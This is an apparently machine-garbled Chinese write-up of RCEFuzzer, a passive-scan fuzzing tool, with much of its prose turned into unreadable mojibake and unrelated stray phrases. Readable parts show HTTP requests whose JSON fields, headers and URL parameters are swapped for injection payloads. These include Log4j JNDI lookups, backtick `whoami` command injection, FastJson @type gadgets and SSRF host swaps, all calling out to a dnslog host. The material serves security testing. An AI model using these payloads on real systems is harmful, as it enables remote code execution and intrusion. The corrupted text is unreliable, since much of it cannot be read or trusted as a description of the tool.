RCEFuzzer - 琚姩鎵弿涓巉uzz涓婁竴浜涙€濊矾鐨勫疄鐜?,

鍐椤湪铓哉剉扉 1.系统有bug。澶栦笉Key冭冭熭码抆？ 2. JJ Team寮€鏀句佳鐢ㄣ€？ 3.释放娌″仛娣峰穯锛屽疄闄呬笂鍜屾斁浠浠g爜箸埆ゅぇ锛屼綔涓涓氦气佸涔犱佳鐢ㄦ垜璁や负数是什么问题的关键是什么？ 4、饶和司邦是什么关系？ ## 陈ュ叿鍦板潃 https://github.com/TheKingOfDuck/RCEFuzzer ## 鍩红浠嬬粛 模糊氇冩€濇兂鄄勮锷ㄦ壂鎻忓狠鍏峰纴澶氭暟铓怨鍣ㄧ殑陈ヤ綔阃緫鏄互陈茬Ⅱ婕忔礊铡CEFuzzer有效载荷画得又薄又薄。 三码氜渚嫔瓙甛屽亣璁甁锷ㄦ敹板嗗埌鄄勬祦翔槸锛歕n ```` POST /sys/customer/list HTTP/1.1 主机: www.baidu.com 内容长度: 23 Content-Type: application/json;charset=UTF-8 {\'key1\':\'value1\',\'key2\':\'eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9\',\'id\'3336 01,\'isLogin\':false,\'key3\':{\'innerkey2\':\'{\\\'k3\\\':\\\'v3\\\'}\'}} ```` 濡傛灉閰走廊枰戜啕笁轩￠€氱敕镄？payload 锛敕n ```` ${jndi:ldap://dnslog/log4j} `whoami`.dnslog {\'@type\':\'java.net.Inet4Address\',\'val\':\'dnslog\'} ```` RCEFuzzer RCEFuzzer - 姹℃煋key1 镄勫€应銧駖庡垞鍒彂鍖匼n- 姹℃煋key2 镄勫€应銧駖庡垞鍒彂鍖匼n- Key2 Key2 Key2镄勫€should銧钖庡垞鍒彂鍖呫€俓n-姹℃煋key3镄鋫瓙JSON鄄?innerkey2锄勫€心血管纴鐒脓捒嗗埆鍙戝位置郓俓n-珏濊瘯Naf瀽innerkey2锛屽苟姹℃煋瀛怞SON鄄?k3镄勫€肩劧钖庡垞鍒彂鍖匼n 鐞婷涓婃€锸殑璇风簰簔椠椠3*6=18娆°€塝UM浠栮槸鍙捙暟姹℃煋妯"潡撺屽bis滃FU三叾浠栨ā鍧楋纴闾h姹傞噺鍙兘鏄?50有效载荷鍐椤缑澶氱唛屽师韩佀涶т竴锣縸纴闾德箞鍙兘鏄?5000娆°€n 耀噺囧ぇ娉ㄥ畾浠栨栨疾病娉枞湪宁歌鞞ョ珯镄勄満鏅娇鐢纺缁欑尰镙囧开鍏ヤ竴鍫婷剰鏁版偁锛岄偅灏钧缑鸢䶶伩情侣更改为简化銆俓n 瀵司嚜箸磩宁歌嚜箸禜琇壁峰浵狠佹寲娲炵殑累獤粺甛屾祴玄狂是鐜鄄勭郴缁缷NH镞糳卋咱咱€俓n 不。 涓婇剻鎻湬匌仙俀智浼氶氪宁手稿ぇ锛岄€夊皭黑€鈬爹薄镆撶殑仙侀噺灏卞涓涓洓羓洓羊纴闄新绠镓贪鍩皟锛屾壂鎻忔祦读忎篃珏嗗ぇ骞呬笅闄嶏纴闾德箞鍦ㄨ伞n ```` https://blog.thekingofduck.com/post/url-normalize-in-passive-scan/ ```` 查询绛夌殑澶涭敊镄鈬€濊抾锛屼絵鏄笉澶緷畲鍏纴灁嗗记每个€镣桂殑浼上升彂鐜公告笂鏂囦酑鎻愬匌鄄勬祦阅读细节 ```` {\'key1\':\'value1\',\'key2\':\'eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9\',\'id\'3336 01,\'isLogin\':false,\'key3\':{\'innerkey2\':\'{\\\'k3\\\':\\\'v3\\\'}\'}} ```` 杩欓勷闱㈢殑id鍜?is登录疾病链细，疾病链细。洁心瀹氢箟濂借鬶鏁冒充鍨嬶纴瀵簬鏁综合暟鍨娨€丸竷描断瀷畄啋引鏁版病链夊お澶ф薄镕撶殑鑇呰锛屽面澧uuid銆乭灰绛夊父亲诺佹縸寮怨殑间篃浼氲烦杩囨薄㕆°纴杩涗竴姝ョ鍑忔祦读忋俓n 杩欓媷暗€缺陷丸崟镫叀鎻愪竴涶嬶纴瀹炶返回湁寰肩间鏄顿澶殑锛屾瘮濡嬦思 ```` /订单/S09834FVD /订单/S07C34FDCCVX ```` 鄄剧姧娟ゆ锔耴俀瀵guigui簲浜嗣锛屾槸踸綅uuid鎴?md5妹€镙风殑锲锲镾鐗狠曛锛屾鍒欐疾病娉曡В鍐举起纴鐪媔埌缨€涜涘箦殑诺e喅鏂监管鄄笂澶фā鍨嫔幓璇嗗埆锛岄链夌陈ヤ綔楗卞拰浜嗘疾病浜嫔亿勬劅诺夛纴链川涓婃槸鍖哄垞鏂囨湰鏄惁灷殢链洪殑锛屽嵆珏嗘枃链垎一新生钖﹂殢链被轰击鍨嬶纴氱晫链夐潪宁手稿掴愮啛鄄勬枃链垎绫画鍨嬭缁冩暀绋嬶纴鐜版垚鄄勬ā鍨嬶纴三椤GPU ##镓杂质妯“潡 宫€鏀剧殑鐗徟氰涓姛鑳借鐩栫殑夐檺锛屼玎绠€鍗曚粙缁新竴浜涙€濊抾銆卛来自数据銆乯子銆亁ml ㊆乻皂绛夎繘杯它嚜锷ㄨВ镰刀和€乹薄镆撱€丸异砫爜銆俓n ### JSON姹℃煋 瀵?JSON 1.阌€又细又薄，残茬很硬镕敕戵瀵第瀛楃繘繛屽锷犳娳皎崲鄄勬波镆循环纴闄や简姹℃煋鎴愭宁哥殑璧勪hat有效负载python python python python python JSON杩涜玌叴悬屾崲鎴愭寚瀹氱殑有效载荷锛它长大了读屼富肖侀拡瀵?FastJson杩欐艰钭勬狠娲炪€俓n 鍏蜂綋涓€镣Gui殑渚媔瓙甛歕n ```` {\'innerkey1\':\'innervalue1\'} ```` 鍙相互理解 ```` {\'innerkey1\':__import__('socket').gethostbyaddr('dnslog')} {\'innerkey1\':\'${jndi:ldap://dnslog/jsonkey}\'} {\'innerkey1\':\'innervalue1\',\'@type\':\'java.net.Inet4Address\',\'val\':\'dnslog\'} {\'innerkey1\':{\'@type\':\'java.net.Inet4Address\',\'val\':\'dnslog\'}} {\'@type\':\'java.net.Inet4Address\',\'val\':\'dnslog\'} ```` 鍑犵婕忔礊绫淲瀷箮簯寯宁歌镄婩€俓n ###标题姹℃煋 鍜孞SON姹℃煋涓€镙峰晴 1.阌€及薄镕敕怵瀵?头阌€硬度繘瀛屽锷锐垨玌崲鄄勬敕镕汱俓n2.镄勯敭链条及细镕洴崚厸囧畾有效载荷銆俓n 娟娟克古朱妃瓙adze haon ```` 获取/HTTP/1.1 主机: www.baidu.com Accept-Encoding: gzip、deflate 接受: */* 接受语言: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0（Windows NT 10.0；Win64；x64）AppleWebKit/537.36（KHTML，如Gecko）Chrome/105.0.5195.102 Safari/537.36 连接:关闭 缓存控制:最大年龄=0 ```` 鍙相互 ```` 获取/HTTP/1.1 主机: www.baidu.com Accept-Encoding: gzip、deflate 接受: */* 接受语言: en-US;q=0.9,en;q=0.8 用户代理: ${jndi:ldap://dnslog/jsonkey} 连接:关闭 缓存控制:最大年龄=0 X-Forwarded-For: `whoami`.dnslog X-Api-Version: ${jndi:dns://dnslog/456} ```` 镀？ Host_onnection_content-Type header 标头Log4j log4j 有效负载log4j 有效负载log4j ###鍙四暟姹℃煋 JSON 表单数据 JSON XML 钖屾牱鍒嗕负炅ょ妯“旋转锛歕n 1. 转身 2.杩槞姹℃狋上部悗绔FU鍒ゆ柇绫獤殑曰屽镙￠獙浼珲珆珆组钖寚瀹马尼拉瓧安东尼︿道德讹纴杩借姞妯"旋转好嗕细闱炲簠＄椤銆俓n n ```` https://www.baidu.com/admin/load?host=127.0.0.1config=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9 ```` 鍙相互理解 ```` https://www.baidu.com/admin/load?host=dnslogconfig=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9 https://www.baidu.com/admin/load?host=127.0.0.1@dnslogconfig=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9 https://www.baidu.com/admin/load?host=127.0.0.1config=eyJpbm5lcmtleTEiOiJgd2hvYW1pYC5kbnNsb2cifQ== . ```` 案例研究 ### SSRF 浠克爜玶勮嚜锛歕n https://github.com/ethicalhackingplayground/ssrf-king SSRF SSRF锛岄潪宁手稿和材料 ###鏏多粬妯》 OAP宣风簰姹℃煋绛夛纴欢嗗苟链湪撇ョ增量链内衣瀹絵燇甛屼笉鍐新竴三浠嬬粛銆俓n ## 深色€ 缺陷 ```` https://admin.xxxx.com/logs?token=xxxxx

xtype=dnsq=KEY

https://admin.xxxx.com/logs?token=